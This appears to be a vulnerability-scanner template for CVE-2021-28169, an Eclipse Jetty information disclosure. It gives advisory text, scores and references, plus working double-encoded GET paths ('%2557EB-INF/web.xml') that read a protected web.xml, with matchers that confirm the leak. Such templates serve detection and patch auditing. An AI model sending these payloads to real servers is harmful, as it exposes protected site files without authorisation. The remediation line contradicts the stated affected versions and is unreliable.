Eclipse Jetty through 9.4.40, through 10.0.2, and through 11.0.2 is susceptible to information disclosure. Requests to the ConcatServlet with a doubly encoded path can access protected resources within the WEB-INF directory, thus enabling an attacker to potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
PoC代码[已公开]
id: CVE-2021-28169
info:
name: Eclipse Jetty ConcatServlet - Information Disclosure
author: pikpikcu
severity: medium
description: |
Eclipse Jetty through 9.4.40, through 10.0.2, and through 11.0.2 is susceptible to information disclosure. Requests to the ConcatServlet with a doubly encoded path can access protected resources within the WEB-INF directory, thus enabling an attacker to potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
An attacker can exploit this vulnerability to access sensitive information, potentially leading to further attacks or unauthorized access.
remediation: |
Upgrade to Eclipse Jetty version 9.4.40 or later to mitigate this vulnerability.
reference:
- https://twitter.com/sec715/status/1406787963569065988
- https://github.com/eclipse/jetty.project/security/advisories/GHSA-gwcr-j4wh-j3cq
- https://lists.apache.org/thread.html/r2721aba31a8562639c4b937150897e24f78f747cdbda8641c0f659fe@%3Cusers.kafka.apache.org%3E
- https://nvd.nist.gov/vuln/detail/CVE-2021-28169
- https://lists.apache.org/thread.html/r04a4b4553a23aff26f42635a6ae388c3b162aab30a88d12e59d05168@%3Cjira.kafka.apache.org%3E
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2021-28169
cwe-id: CWE-200,NVD-CWE-Other
epss-score: 0.92092
epss-percentile: 0.99697
cpe: cpe:2.3:a:eclipse:jetty:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: eclipse
product: jetty
shodan-query: cpe:"cpe:2.3:a:eclipse:jetty"
tags: cve2021,cve,jetty,eclipse
http:
- method: GET
path:
- "{{BaseURL}}/static?/%2557EB-INF/web.xml"
- "{{BaseURL}}/concat?/%2557EB-INF/web.xml"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "application/xml"
- type: word
part: body
words:
- "</web-app>"
- "java.sun.com"
condition: and
- type: status
status:
- 200
# digest: 4a0a0047304502207ffb270a0bd2ec6780c05b661a7fe9a06b72b5b879dbad2e7642cdeeb186ef8f022100a85fa4ed1519876151d0c957bb0f1c565eacaeb21eec0fbaa5d44e2fbeb403c2:922c64590222798bb761d5b6d8e72950